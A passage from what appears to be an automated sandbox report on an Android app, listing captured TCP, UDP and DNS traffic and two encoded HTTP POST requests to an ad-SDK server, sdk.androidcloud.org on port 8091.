                                                                              Jul 12, 2019 14:03:44.683569908 CEST44358588216.58.206.2192.168.1.92
                                                                              Jul 12, 2019 14:03:44.683653116 CEST58588443192.168.1.92216.58.206.2
                                                                              Jul 12, 2019 14:04:02.557673931 CEST503965228192.168.1.9264.233.166.188
                                                                              Jul 12, 2019 14:04:02.586252928 CEST52285039664.233.166.188192.168.1.92
                                                                              Jul 12, 2019 14:04:02.586571932 CEST503965228192.168.1.9264.233.166.188
                                                                              Jul 12, 2019 14:04:02.587483883 CEST503965228192.168.1.9264.233.166.188
                                                                              Jul 12, 2019 14:04:02.616214991 CEST52285039664.233.166.188192.168.1.92
                                                                              Jul 12, 2019 14:04:02.616384983 CEST52285039664.233.166.188192.168.1.92
                                                                              Jul 12, 2019 14:04:02.616427898 CEST52285039664.233.166.188192.168.1.92
                                                                              Jul 12, 2019 14:04:02.616470098 CEST52285039664.233.166.188192.168.1.92
                                                                              Jul 12, 2019 14:04:02.616518021 CEST503965228192.168.1.9264.233.166.188
                                                                              Jul 12, 2019 14:04:02.616952896 CEST503965228192.168.1.9264.233.166.188
                                                                              Jul 12, 2019 14:04:02.626367092 CEST503965228192.168.1.9264.233.166.188
                                                                              Jul 12, 2019 14:04:02.626902103 CEST503965228192.168.1.9264.233.166.188
                                                                              Jul 12, 2019 14:04:06.430912018 CEST80915196413.232.28.13192.168.1.92
                                                                              Jul 12, 2019 14:04:06.472321033 CEST519648091192.168.1.9213.232.28.13
                                                                              Jul 12, 2019 14:04:10.590018988 CEST80915196613.232.28.13192.168.1.92
                                                                              Jul 12, 2019 14:04:10.636444092 CEST519668091192.168.1.9213.232.28.13
                                                                              Jul 12, 2019 14:04:37.166623116 CEST58596443192.168.1.92216.58.206.2
                                                                              Jul 12, 2019 14:04:37.186263084 CEST44358596216.58.206.2192.168.1.92
                                                                              Jul 12, 2019 14:04:37.186549902 CEST58596443192.168.1.92216.58.206.2
                                                                              Jul 12, 2019 14:04:37.190779924 CEST58596443192.168.1.92216.58.206.2
                                                                              Jul 12, 2019 14:04:37.211565971 CEST44358596216.58.206.2192.168.1.92
                                                                              Jul 12, 2019 14:04:37.219846964 CEST44358596216.58.206.2192.168.1.92
                                                                              Jul 12, 2019 14:04:37.219882011 CEST44358596216.58.206.2192.168.1.92
                                                                              Jul 12, 2019 14:04:37.219897985 CEST44358596216.58.206.2192.168.1.92
                                                                              Jul 12, 2019 14:04:37.220101118 CEST58596443192.168.1.92216.58.206.2
                                                                              Jul 12, 2019 14:04:37.220182896 CEST58596443192.168.1.92216.58.206.2
                                                                              Jul 12, 2019 14:04:37.231064081 CEST58596443192.168.1.92216.58.206.2
                                                                              Jul 12, 2019 14:04:37.231918097 CEST58596443192.168.1.92216.58.206.2
                                                                              Jul 12, 2019 14:05:22.635962009 CEST504025228192.168.1.9264.233.166.188
                                                                              Jul 12, 2019 14:05:22.662985086 CEST52285040264.233.166.188192.168.1.92
                                                                              Jul 12, 2019 14:05:22.663346052 CEST504025228192.168.1.9264.233.166.188
                                                                              Jul 12, 2019 14:05:22.664514065 CEST504025228192.168.1.9264.233.166.188
                                                                              Jul 12, 2019 14:05:22.690917015 CEST52285040264.233.166.188192.168.1.92
                                                                              Jul 12, 2019 14:05:22.691407919 CEST52285040264.233.166.188192.168.1.92
                                                                              Jul 12, 2019 14:05:22.691459894 CEST52285040264.233.166.188192.168.1.92
                                                                              Jul 12, 2019 14:05:22.691482067 CEST52285040264.233.166.188192.168.1.92
                                                                              Jul 12, 2019 14:05:22.691615105 CEST504025228192.168.1.9264.233.166.188
                                                                              Jul 12, 2019 14:05:22.702434063 CEST504025228192.168.1.9264.233.166.188
                                                                              Jul 12, 2019 14:05:22.703097105 CEST504025228192.168.1.9264.233.166.188
                                                                              Jul 12, 2019 14:05:22.729254961 CEST52285040264.233.166.188192.168.1.92
                                                                              Jul 12, 2019 14:05:22.729578018 CEST504025228192.168.1.9264.233.166.188
                                                                              Jul 12, 2019 14:06:03.079312086 CEST519668091192.168.1.9213.232.28.13
                                                                              Jul 12, 2019 14:06:03.081145048 CEST519648091192.168.1.9213.232.28.13
                                                                              Jul 12, 2019 14:06:03.489664078 CEST519668091192.168.1.9213.232.28.13
                                                                              Jul 12, 2019 14:06:03.489823103 CEST519648091192.168.1.9213.232.28.13
                                                                              Jul 12, 2019 14:06:03.878746033 CEST519648091192.168.1.9213.232.28.13
                                                                              Jul 12, 2019 14:06:03.878875017 CEST519668091192.168.1.9213.232.28.13

                                                                              UDP Packets

                                                                              TimestampSource PortDest PortSource IPDest IP
                                                                              Jul 12, 2019 14:03:15.595280886 CEST1578253192.168.1.928.8.8.8
                                                                              Jul 12, 2019 14:03:15.625231028 CEST53157828.8.8.8192.168.1.92
                                                                              Jul 12, 2019 14:03:16.209719896 CEST1831153192.168.1.928.8.8.8
                                                                              Jul 12, 2019 14:03:16.240680933 CEST53183118.8.8.8192.168.1.92
                                                                              Jul 12, 2019 14:03:35.453170061 CEST2426953192.168.1.928.8.8.8
                                                                              Jul 12, 2019 14:03:35.467408895 CEST53242698.8.8.8192.168.1.92
                                                                              Jul 12, 2019 14:03:39.818551064 CEST780653192.168.1.928.8.8.8
                                                                              Jul 12, 2019 14:03:39.856476068 CEST5378068.8.8.8192.168.1.92
                                                                              Jul 12, 2019 14:03:40.576229095 CEST2925953192.168.1.928.8.8.8
                                                                              Jul 12, 2019 14:03:40.614898920 CEST53292598.8.8.8192.168.1.92
                                                                              Jul 12, 2019 14:03:42.628613949 CEST641553192.168.1.928.8.8.8
                                                                              Jul 12, 2019 14:03:42.665143013 CEST5364158.8.8.8192.168.1.92
                                                                              Jul 12, 2019 14:03:43.743089914 CEST248653192.168.1.928.8.8.8
                                                                              Jul 12, 2019 14:03:43.770529032 CEST5324868.8.8.8192.168.1.92
                                                                              Jul 12, 2019 14:03:44.557343006 CEST932753192.168.1.928.8.8.8
                                                                              Jul 12, 2019 14:03:44.584994078 CEST5393278.8.8.8192.168.1.92
                                                                              Jul 12, 2019 14:03:46.225909948 CEST2256453192.168.1.928.8.8.8
                                                                              Jul 12, 2019 14:03:46.253933907 CEST53225648.8.8.8192.168.1.92
                                                                              Jul 12, 2019 14:03:52.548353910 CEST3107453192.168.1.928.8.8.8
                                                                              Jul 12, 2019 14:03:52.561702967 CEST53310748.8.8.8192.168.1.92
                                                                              Jul 12, 2019 14:04:56.717168093 CEST990153192.168.1.928.8.8.8
                                                                              Jul 12, 2019 14:04:56.745230913 CEST5399018.8.8.8192.168.1.92

                                                                              DNS Queries

                                                                              TimestampSource IPDest IPTrans IDOP CodeNameTypeClass
                                                                              Jul 12, 2019 14:03:35.453170061 CEST192.168.1.928.8.8.80x693bStandard query (0)sdk.androidcloud.orgA (IP address)IN (0x0001)
                                                                              Jul 12, 2019 14:03:39.818551064 CEST192.168.1.928.8.8.80x3b2aStandard query (0)ulogs.umeng.comA (IP address)IN (0x0001)
                                                                              Jul 12, 2019 14:03:40.576229095 CEST192.168.1.928.8.8.80x1b55Standard query (0)ulogs.umengcloud.comA (IP address)IN (0x0001)
                                                                              Jul 12, 2019 14:03:43.743089914 CEST192.168.1.928.8.8.80x60a1Standard query (0)i.ytimg.comA (IP address)IN (0x0001)
                                                                              Jul 12, 2019 14:03:46.225909948 CEST192.168.1.928.8.8.80xadaStandard query (0)www.youtube.comA (IP address)IN (0x0001)

                                                                              DNS Answers

                                                                              TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClass
                                                                              Jul 12, 2019 14:03:35.467408895 CEST8.8.8.8192.168.1.920x693bNo error (0)sdk.androidcloud.orgec2-13-232-28-13.ap-south-1.compute.amazonaws.comCNAME (Canonical name)IN (0x0001)
                                                                              Jul 12, 2019 14:03:35.467408895 CEST8.8.8.8192.168.1.920x693bNo error (0)ec2-13-232-28-13.ap-south-1.compute.amazonaws.com13.232.28.13A (IP address)IN (0x0001)
                                                                              Jul 12, 2019 14:03:39.856476068 CEST8.8.8.8192.168.1.920x3b2aNo error (0)ulogs.umeng.comdualstack-na61-na62.wagbridge.alibaba.tanx.comCNAME (Canonical name)IN (0x0001)
                                                                              Jul 12, 2019 14:03:39.856476068 CEST8.8.8.8192.168.1.920x3b2aNo error (0)dualstack-na61-na62.wagbridge.alibaba.tanx.comdualstack-na61-na62.wagbridge.alibaba.tanx.com.gds.alibabadns.comCNAME (Canonical name)IN (0x0001)
                                                                              Jul 12, 2019 14:03:39.856476068 CEST8.8.8.8192.168.1.920x3b2aNo error (0)dualstack-na61-na62.wagbridge.alibaba.tanx.com.gds.alibabadns.com203.119.214.125A (IP address)IN (0x0001)
                                                                              Jul 12, 2019 14:03:40.614898920 CEST8.8.8.8192.168.1.920x1b55No error (0)ulogs.umengcloud.comet2-na61-na62.wagbridge.alibaba.tanx.comCNAME (Canonical name)IN (0x0001)
                                                                              Jul 12, 2019 14:03:40.614898920 CEST8.8.8.8192.168.1.920x1b55No error (0)et2-na61-na62.wagbridge.alibaba.tanx.comet2-na61-na62.wagbridge.alibaba.tanx.com.gds.alibabadns.comCNAME (Canonical name)IN (0x0001)
                                                                              Jul 12, 2019 14:03:40.614898920 CEST8.8.8.8192.168.1.920x1b55No error (0)et2-na61-na62.wagbridge.alibaba.tanx.com.gds.alibabadns.com203.119.214.125A (IP address)IN (0x0001)
                                                                              Jul 12, 2019 14:03:43.770529032 CEST8.8.8.8192.168.1.920x60a1No error (0)i.ytimg.comytimg-edge-static.l.google.comCNAME (Canonical name)IN (0x0001)
                                                                              Jul 12, 2019 14:03:44.584994078 CEST8.8.8.8192.168.1.920x613bNo error (0)pagead.l.doubleclick.net216.58.206.2A (IP address)IN (0x0001)
                                                                              Jul 12, 2019 14:03:46.253933907 CEST8.8.8.8192.168.1.920xadaNo error (0)www.youtube.comyoutube-ui.l.google.comCNAME (Canonical name)IN (0x0001)

                                                                              HTTP Request Dependency Graph

                                                                              • sdk.androidcloud.org:8091

                                                                              HTTP Packets

                                                                              Session IDSource IPSource PortDestination IPDestination Port
                                                                              0192.168.1.925196413.232.28.138091
                                                                              TimestampkBytes transferredDirectionData
                                                                              Jul 12, 2019 14:03:35.614305019 CEST22OUTPOST /api/sdk.ad.requestRes HTTP/1.1
                                                                              Content-Type: application/json; charset=UTF-8
                                                                              Accept: application/json
                                                                              User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1.2; VirtualBox Build/N2G48H)
                                                                              Host: sdk.androidcloud.org:8091
                                                                              Connection: Keep-Alive
                                                                              Accept-Encoding: gzip
                                                                              Content-Length: 1426
                                                                              Data Raw: 57 2b 41 32 63 78 37 33 4e 5a 6b 42 44 47 78 78 37 4c 76 55 4b 64 66 36 6b 4a 78 37 2f 54 2b 6d 7a 42 45 38 34 7a 44 33 6b 49 74 65 59 71 6a 77 50 35 46 43 63 32 71 63 35 77 66 39 57 48 42 35 37 47 64 6c 4a 64 55 31 66 7a 57 33 0a 36 71 6d 54 72 48 52 48 42 63 4f 73 54 75 37 44 69 49 2b 59 32 79 4d 53 76 6f 64 50 6e 4b 47 30 52 4a 5a 33 4f 31 72 4b 34 50 36 61 53 5a 47 6f 45 6b 51 6e 74 50 77 4c 6f 6d 4d 79 6c 7a 42 4e 6f 6f 41 62 43 73 31 62 67 41 33 67 0a 78 34 70 76 45 31 50 33 57 42 62 66 4f 56 77 6d 2b 64 41 73 37 62 4d 31 37 43 47 69 63 33 30 42 41 59 44 6f 50 67 46 55 75 35 6c 77 52 79 79 65 63 46 2f 57 2f 6f 6f 77 7a 75 69 50 79 56 57 51 4b 2b 74 6c 75 74 6e 78 4d 68 41 39 0a 35 67 32 45 32 39 33 50 4f 45 73 34 52 61 67 33 2f 65 77 43 52 45 54 49 4c 46 41 4f 37 57 2b 58 4a 71 71 4e 6c 37 4b 6c 34 33 54 54 37 69 37 6d 39 30 4b 41 7a 31 79 4a 51 7a 66 49 31 57 62 4d 72 32 4f 45 6e 48 30 44 55 36 32 2b 0a 48 47 64 63 4f 4b 2b 35 5a 68 49 62 77 37 45 37 6e 73 53 4a 58 6d 4b 59 4f 34 71 49 6d 5a 56 54 59 57 4a 7a 58 71 73 62 58 46 52 6b 4b 70 4f 54 4c 48 31 61 69 55 4b 5a 59 47 70 58 73 50 41 45 52 66 7a 4a 39 71 6e 7a 5a 39 48 70 0a 68 38 51 67 75 39 2b 56 2f 38 58 42 34 61 33 30 61 2b 61 68 49 4a 36 4d 68 68 59 70 35 37 70 55 78 41 6b 45 7a 4d 44 2b 55 44 77 4b 55 54 64 57 71 36 34 59 76 5a 32 6c 6a 4a 39 48 2b 31 5a 6b 49 48 31 6d 79 53 72 53 72 34 6d 46 0a 70 65 41 73 64 6f 46 58 4c 43 4b 4f 62 38 37 36 38 54 6e 70 51 70 68 4b 50 61 39 35 72 39 47 70 78 4f 41 4a 51 6b 52 65 78 75 36 34 6a 36 45 36 61 6b 2f 76 36 68 52 46 35 64 6c 6a 64 4a 69 74 43 5a 4e 6b 39 51 38 6f 31 2f 49 4f 0a 4f 6f 62 59 6b 66 6a 53 52 78 70 6e 51 4b 6b 33 45 69 72 36 71 4f 59 58 53 78 6f 6a 4b 71 46 5a 34 65 37 37 33 53 59 59 62 74 7a 54 38 74 69 4d 62 69 4c 4e 67 70 64 58 5a 4b 55 42 4c 75 67 79 4d 2b 4a 2f 36 39 36 4f 38 45 37 45 0a 45 6f 6e 69 51 71 53 6c 56 63 56 69 49 78 42 45 62 59 5a 63 43 42 50 48 47 4c 4e 31 64 65 78 59 30 74 52 30 62 4d 5a 68 77 34 51 6f 6f 57 57 69 67 70 69 54 59 76 37 68 41 49 65 6f 34 78 39 39 32 53 33 4c 66 46 61 41 31 6c 55 47 0a 62 4e 34 65 53 4f 6c 6f 53 6d 44 62 39 59 76 46 57 77 4f 4c 78 38 51 63 48 63 45 6c 73 76 67 4b 49 31 4a 52 44 42 62 36 44 55 73 71 69 75 34 73 55 69 73 62 78 31 47 50 35 4a 66 49 58 78 59 55 4e 63 6c 4c 53 54 51 7a 72 70 5a 45 0a 43 6e 71 78 4a 50 4f 36 57 4b 32 4a 73 48 4f 62 4e 66 43 62 6c 71 38 4e 48 45 4d 31 56 2b 2b 4a 76 4f 33 53 69 52 71 47 6d 54 78 6d 6a 5a 67 56 32 69 72 41 45 78 70 69 31 44 36 44 39 2f 73 6d 50 54 77 69 32 70 57 54 32 4a 65 49 0a 56 38 4b 30 75 76 76 44 6e 4d 37 6c 78 78 65 51 79 6b 4c 66 4a 36 67 56 36 7a 71 5a 4d 59 6c 58 58 6a 55 5a 37 75 58 76 76 7a 6d 31 45 46 57 4d 6d 33 58 36 66 30 73 4e 4c 4d 4b 77 7a 54 2f 69 57 43 49 70 64 41 4f 52 2f 69 38 73 0a 57 78 64 30 4e 63 45 4f 77 4e 6f 36 4e 57 46 35 7a 44 75 4c 55 2f 72 58 76 58 63 2b 6b 69 41 31 31 4f 4f 6b 56 75 43 63 4b 52 46 35 35 46 61 58 31 37 4d 58 78 4b 66 69 30 63 34 77 30 2b 63 37 5a 74 62 59 4f 61 46 4c 6a 53 6f 35 0a 6a 52 63 63 68 44 71 35 56 75 61 6d 69 33 47 4f 4c 72 49 6b 36 45 5a 6c 73 5a 78 58 71 75 73 39 30 6e 72 5a 52 66 74 32 38 33 39 53 7a 61 54 51 6f 32 64 58 37 6d 39 71 44 44 44 76 55 75 74 67 2b 61 53 69 69 4d 55 77 2f 57 39 6e 0a 30 4d 6e 6b 33 6d 4d 6e 37 35 30 2b 42 74 4c 2f 41 31 64 4e 44 6b 79 6d 51 30 6a 34 77 76 4f 6f 55 39 31 59 75 2b 77 74 61 62 58 4d 53 73 77 6c 38 50 77 73 38 54 31 4c 43 35 38 68 42 53 71 6f 69 69 35 5a 47 4a 70 52 39 4e 58 43 0a 61 61 31 6c 5a 52 32 52 5a 67 51 46 48 6e 39 4e 5a 75 35 51 30 50 68 64 32 78 71 6b 64 57 4d 70 6c 6e 4a 56 6a 48 34 77 68 48 4d 31 57 46 38 2b 69 58 38 62 66 66 50 47 67 65 57 47 58 39 47 4a 74 78 72 43 6b 6c 6a 33 4a 44 51 32 0a 73 67 44 59 38 73 54 4a 4b 74 48 63 33 43 64 52 6e 4a 52 46 2f 37 31 53 65 6d 44 52 46 38 68 66 49 4f 6e 4f 62 30 52 30 57 67 59 66 6e 4d 76 73 4a 63 65 62 31 51 67 64 78 4e 61 73 42 58 59 4e 4f 2f 67 39 56 4b 59 66 53 42 62 61 0a 68 73 55 43 44 76 64 57 63 47 78 51 33 32 77 59 42 52 58 6e 2f 7a 39 4e 59 59 32 43 39 59 78 43 2b 75 68 2b 34 32 55 56 4b 44 62 42 65 7a 78 4e 4d 65 49 2b 52 77 36 4d 62 76 78 74 69 6f 37 33 35 50 63 30 38 4c 56 70 2b 31 6d 4b 0a 32 68 45 33 6c 5a 65 34 5a 6f 72 61 53 6b 56 36 5a 79 49 4b 37 39 74 76 35 7a 37 34 41 45 7a 63 38 55 56 58 55 4e 71 78
                                                                              Data Ascii: W+A2cx73NZkBDGxx7LvUKdf6kJx7/T+mzBE84zD3kIteYqjwP5FCc2qc5wf9WHB57GdlJdU1fzW36qmTrHRHBcOsTu7DiI+Y2yMSvodPnKG0RJZ3O1rK4P6aSZGoEkQntPwLomMylzBNooAbCs1bgA3gx4pvE1P3WBbfOVwm+dAs7bM17CGic30BAYDoPgFUu5lwRyyecF/W/oowzuiPyVWQK+tlutnxMhA95g2E293POEs4Rag3/ewCRETILFAO7W+XJqqNl7Kl43TT7i7m90KAz1yJQzfI1WbMr2OEnH0DU62+HGdcOK+5ZhIbw7E7nsSJXmKYO4qImZVTYWJzXqsbXFRkKpOTLH1aiUKZYGpXsPAERfzJ9qnzZ9Hph8Qgu9+V/8XB4a30a+ahIJ6MhhYp57pUxAkEzMD+UDwKUTdWq64YvZ2ljJ9H+1ZkIH1mySrSr4mFpeAsdoFXLCKOb8768TnpQphKPa95r9GpxOAJQkRexu64j6E6ak/v6hRF5dljdJitCZNk9Q8o1/IOOobYkfjSRxpnQKk3Eir6qOYXSxojKqFZ4e773SYYbtzT8tiMbiLNgpdXZKUBLugyM+J/696O8E7EEoniQqSlVcViIxBEbYZcCBPHGLN1dexY0tR0bMZhw4QooWWigpiTYv7hAIeo4x992S3LfFaA1lUGbN4eSOloSmDb9YvFWwOLx8QcHcElsvgKI1JRDBb6DUsqiu4sUisbx1GP5JfIXxYUNclLSTQzrpZECnqxJPO6WK2JsHObNfCblq8NHEM1V++JvO3SiRqGmTxmjZgV2irAExpi1D6D9/smPTwi2pWT2JeIV8K0uvvDnM7lxxeQykLfJ6gV6zqZMYlXXjUZ7uXvvzm1EFWMm3X6f0sNLMKwzT/iWCIpdAOR/i8sWxd0NcEOwNo6NWF5zDuLU/rXvXc+kiA11OOkVuCcKRF55FaX17MXxKfi0c4w0+c7ZtbYOaFLjSo5jRcchDq5Vuami3GOLrIk6EZlsZxXqus90nrZRft2839SzaTQo2dX7m9qDDDvUutg+aSiiMUw/W9n0Mnk3mMn750+BtL/A1dNDkymQ0j4wvOoU91Yu+wtabXMSswl8Pws8T1LC58hBSqoii5ZGJpR9NXCaa1lZR2RZgQFHn9NZu5Q0Phd2xqkdWMplnJVjH4whHM1WF8+iX8bffPGgeWGX9GJtxrCklj3JDQ2sgDY8sTJKtHc3CdRnJRF/71SemDRF8hfIOnOb0R0WgYfnMvsJceb1QgdxNasBXYNO/g9VKYfSBbahsUCDvdWcGxQ32wYBRXn/z9NYY2C9YxC+uh+42UVKDbBezxNMeI+Rw6Mbvxtio735Pc08LVp+1mK2hE3lZe4ZoraSkV6ZyIK79tv5z74AEzc8UVXUNqx
                                                                              Jul 12, 2019 14:03:35.749345064 CEST22INHTTP/1.1 200
                                                                              Server: openresty/1.13.6.2
                                                                              Date: Fri, 12 Jul 2019 12:03:35 GMT
                                                                              Content-Type: application/json;charset=UTF-8
                                                                              Content-Length: 109
                                                                              Connection: keep-alive
                                                                              Content-Disposition: inline;filename=f.txt
                                                                              Data Raw: 4c 35 5a 51 41 72 2f 69 69 44 6e 58 78 52 56 57 53 4f 76 54 6c 62 77 6c 64 7a 56 38 30 77 58 76 37 68 78 6b 30 47 54 77 79 4a 71 37 33 31 32 74 36 63 41 6a 76 37 2b 50 33 65 44 6e 74 4d 35 77 4b 37 6f 51 46 63 62 4c 4c 68 2f 31 0a 73 4b 4d 76 45 70 75 71 69 45 31 50 42 6b 30 6c 54 4a 41 66 6b 79 50 57 39 47 54 74 47 41 77 3d
                                                                              Data Ascii: L5ZQAr/iiDnXxRVWSOvTlbwldzV80wXv7hxk0GTwyJq7312t6cAjv7+P3eDntM5wK7oQFcbLLh/1sKMvEpuqiE1PBk0lTJAfkyPW9GTtGAw=
                                                                              Jul 12, 2019 14:03:36.296159983 CEST24OUTPOST /api/sdk.ad.requestUpdate HTTP/1.1
                                                                              Content-Type: application/json; charset=UTF-8
                                                                              Accept: application/json
                                                                              User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1.2; VirtualBox Build/N2G48H)
                                                                              Host: sdk.androidcloud.org:8091
                                                                              Connection: Keep-Alive
                                                                              Accept-Encoding: gzip
                                                                              Content-Length: 1406
                                                                              Data Raw: 58 4c 72 77 62 55 58 6c 65 76 4c 54 7a 63 4a 45 67 37 66 47 64 75 6f 4d 69 6e 54 6f 6b 38 53 6a 51 43 35 64 46 36 48 75 61 6d 35 6c 55 62 70 51 70 53 48 76 71 51 6a 47 6b 2f 6a 6f 4b 43 6a 66 54 33 38 70 52 73 32 41 45 4c 6d 7a 0a 5a 30 54 4f 6f 5a 50 77 53 30 4a 7a 54 31 53 68 62 5a 7a 52 39 65 4f 6a 31 74 61 4d 63 4a 38 30 54 4a 73 69 6d 54 4e 39 2b 66 4b 6d 2f 32 64 66 6a 4c 75 49 41 38 61 51 43 63 46 30 46 32 51 43 56 52 6f 50 53 7a 4f 42 54 35 4b 6d 0a 59 64 77 69 30 2b 49 7a 54 43 4e 48 57 2b 54 41 43 52 37 68 4d 76 62 65 35 6a 4d 38 36 58 34 64 62 35 33 75 51 72 79 79 6e 37 46 34 49 44 35 44 2b 31 63 2f 47 55 4c 69 79 6c 39 41 61 64 2f 2b 4b 35 59 71 4c 41 53 57 64 6a 58 6a 0a 46 62 70 2f 6d 39 36 43 30 71 46 4f 6b 32 43 77 58 48 4d 55 6b 36 68 61 34 44 41 45 31 55 56 4f 4a 43 37 36 46 68 70 70 32 43 47 71 2b 5a 49 70 53 6f 62 57 56 6d 55 39 62 5a 7a 37 41 62 6c 68 5a 38 4e 36 4f 52 4b 75 2f 45 61 7a 0a 71 37 48 62 75 76 72 58 47 66 61 64 39 59 37 4b 54 2b 50 42 55 2f 7a 71 66 4a 7a 65 57 57 36 66 75 54 6a 62 4c 56 73 6b 71 62 6e 53 5a 73 32 64 5a 50 6f 67 4d 6c 72 62 43 44 78 2b 63 47 65 36 48 4e 77 2f 7a 45 61 69 43 35 78 4e 0a 49 38 5a 46 66 57 42 2b 51 53 37 4c 56 74 4f 71 6c 79 63 6a 78 65 34 6e 6a 37 56 53 33 4b 30 42 48 5a 47 68 6a 58 70 48 47 50 59 69 2f 4b 79 4c 42 6d 62 2b 4b 6e 55 53 4f 66 6f 51 6a 39 39 6f 6d 62 39 43 78 57 39 4d 64 72 57 53 0a 37 62 44 47 6c 41 6d 6a 68 4d 54 39 5a 6d 71 4b 4b 46 36 72 4a 4d 59 54 2f 74 62 54 62 6f 2f 46 41 73 35 76 71 6f 48 58 75 6b 52 6d 79 33 70 39 66 62 55 56 43 63 39 6b 30 30 64 6c 41 6c 33 37 72 45 35 34 37 31 4f 72 6d 4a 51 73 0a 38 35 39 64 44 33 34 63 68 4f 38 2f 4e 75 32 4f 32 71 33 4d 38 34 43 57 52 61 58 66 4d 73 41 35 2b 41 47 6f 33 75 74 4d 77 7a 71 31 5a 57 71 41 79 37 72 38 68 67 50 78 68 70 70 64 45 6f 55 4f 48 64 31 31 78 31 43 79 64 57 65 37 0a 45 74 45 59 71 45 53 39 46 2b 58 46 6f 44 73 37 45 41 2f 5a 6f 65 36 54 6c 35 37 2b 31 54 30 45 35 66 58 4d 74 4d 75 6e 77 55 6d 56 74 64 4f 75 72 39 7a 6f 32 38 7a 67 39 73 66 61 2b 43 38 55 50 30 56 6f 35 57 4d 75 63 49 32 54 0a 47 77 69 33 55 69 4b 43 73 31 70 64 73 66 66 72 41 61 30 68 6f 48 79 4b 6a 36 63 6e 61 52 69 77 71 4e 53 74 45 72 6c 5a 4c 62 53 56 6a 6e 7a 35 44 71 52 75 68 44 32 71 49 53 53 58 2b 32 59 67 75 69 7a 77 4f 30 56 37 32 71 36 48 0a 56 53 50 5a 63 45 56 63 6e 57 78 53 2f 32 75 70 61 45 32 64 61 65 56 6c 6a 75 4e 78 58 73 4d 43 48 30 75 34 33 48 4a 66 34 52 31 4b 31 72 61 72 74 46 53 4d 38 62 35 77 53 44 2f 4b 74 6d 57 4d 6e 6b 38 61 68 32 37 72 73 6a 71 33 0a 6d 52 47 57 6d 50 34 46 42 49 47 6b 5a 4f 73 6e 2f 74 53 74 7a 66 31 44 55 36 76 31 45 67 4d 67 61 78 70 63 4c 32 44 42 51 69 64 75 74 59 79 33 6a 44 4d 35 39 70 71 31 69 6e 41 68 2f 37 79 59 73 4d 6f 30 39 71 53 4f 62 45 6c 70 0a 35 62 76 2b 56 53 76 62 52 38 6c 76 62 75 37 2b 65 51 4f 78 4c 4f 44 33 2f 65 43 48 4e 70 4d 41 52 4c 6e 59 31 74 47 54 7a 66 42 49 52 57 43 55 2b 47 37 70 5a 4a 48 46 6d 6c 32 63 65 37 49 33 4a 77 6b 56 72 2b 58 6b 71 2f 64 2b 0a 64 68 4c 54 35 51 56 2f 55 6c 30 64 6c 65 62 44 51 70 63 71 38 39 55 47 43 71 78 51 68 51 6a 39 4c 38 61 6b 46 4d 79 57 44 52 43 44 63 38 48 72 51 73 61 57 50 54 62 35 39 4c 64 6c 56 75 68 45 6e 75 6c 4f 64 67 52 47 51 61 4d 56 0a 6a 44 43 31 57 78 61 6e 2f 69 77 59 65 70 72 32 54 42 35 33 6f 33 71 54 6c 43 39 47 6f 33 67 58 6e 74 55 38 79 53 61 32 66 42 41 61 2f 6d 55 48 57 6a 52 74 4d 68 65 75 53 71 64 32 2b 65 5a 45 6a 6f 43 4b 6f 38 55 6d 72 4e 63 71 0a 44 64 45 6d 47 2b 6f 45 34 48 2b 57 33 4d 52 46 43 44 68 64 6d 68 61 59 55 53 4a 39 64 50 58 73 65 74 79 36 4f 6f 45 4b 2f 44 6e 79 6b 32 53 4c 50 56 62 79 36 31 68 79 4a 6c 63 69 4e 6c 76 4e 43 68 65 37 63 79 36 52 53 75 43 51 0a 66 73 37 59 4c 49 51 56 75 57 2b 78 43 75 76 59 79 41 71 2b 42 4b 4d 6c 44 6e 31 48 4c 49 33 51 43 67 51 51 4e 42 4b 57 78 70 4e 59 4e 5a 56 7a 43 67 65 39 4c 51 2b 65 6a 6d 6f 35 49 36 74 47 35 58 57 73 69 48 56 6b 4a 58 78 43 0a 33 70 4b 71 4b 46 6a 4a 4c 4c 45 4d 71 35 6f 7a 78 37 75 55 4f 4a 6b 34 53 76 37 66 64 43 38 4f 43 5a 77 55 77 57 6e 75 48 51 4b 50 51 48 34 5a 51 4a 70 72 79 69 31 68 42 46 7a 43 72 38 48 44 43 54 39 74 4a 35 33 76 54 68 4d 7a 0a 59 35 4e 4f 46 58 38 30 4e 31 52 6b 4e 46 58 79 52 66 73 3d
                                                                              Data Ascii: XLrwbUXlevLTzcJEg7fGduoMinTok8SjQC5dF6Huam5lUbpQpSHvqQjGk/joKCjfT38pRs2AELmzZ0TOoZPwS0JzT1ShbZzR9eOj1taMcJ80TJsimTN9+fKm/2dfjLuIA8aQCcF0F2QCVRoPSzOBT5KmYdwi0+IzTCNHW+TACR7hMvbe5jM86X4db53uQryyn7F4ID5D+1c/GULiyl9Aad/+K5YqLASWdjXjFbp/m96C0qFOk2CwXHMUk6ha4DAE1UVOJC76Fhpp2CGq+ZIpSobWVmU9bZz7AblhZ8N6ORKu/Eazq7HbuvrXGfad9Y7KT+PBU/zqfJzeWW6fuTjbLVskqbnSZs2dZPogMlrbCDx+cGe6HNw/zEaiC5xNI8ZFfWB+QS7LVtOqlycjxe4nj7VS3K0BHZGhjXpHGPYi/KyLBmb+KnUSOfoQj99omb9CxW9MdrWS7bDGlAmjhMT9ZmqKKF6rJMYT/tbTbo/FAs5vqoHXukRmy3p9fbUVCc9k00dlAl37rE5471OrmJQs859dD34chO8/Nu2O2q3M84CWRaXfMsA5+AGo3utMwzq1ZWqAy7r8hgPxhppdEoUOHd11x1CydWe7EtEYqES9F+XFoDs7EA/Zoe6Tl57+1T0E5fXMtMunwUmVtdOur9zo28zg9sfa+C8UP0Vo5WMucI2TGwi3UiKCs1pdsffrAa0hoHyKj6cnaRiwqNStErlZLbSVjnz5DqRuhD2qISSX+2YguizwO0V72q6HVSPZcEVcnWxS/2upaE2daeVljuNxXsMCH0u43HJf4R1K1rartFSM8b5wSD/KtmWMnk8ah27rsjq3mRGWmP4FBIGkZOsn/tStzf1DU6v1EgMgaxpcL2DBQidutYy3jDM59pq1inAh/7yYsMo09qSObElp5bv+VSvbR8lvbu7+eQOxLOD3/eCHNpMARLnY1tGTzfBIRWCU+G7pZJHFml2ce7I3JwkVr+Xkq/d+dhLT5QV/Ul0dlebDQpcq89UGCqxQhQj9L8akFMyWDRCDc8HrQsaWPTb59LdlVuhEnulOdgRGQaMVjDC1Wxan/iwYepr2TB53o3qTlC9Go3gXntU8ySa2fBAa/mUHWjRtMheuSqd2+eZEjoCKo8UmrNcqDdEmG+oE4H+W3MRFCDhdmhaYUSJ9dPXsety6OoEK/Dnyk2SLP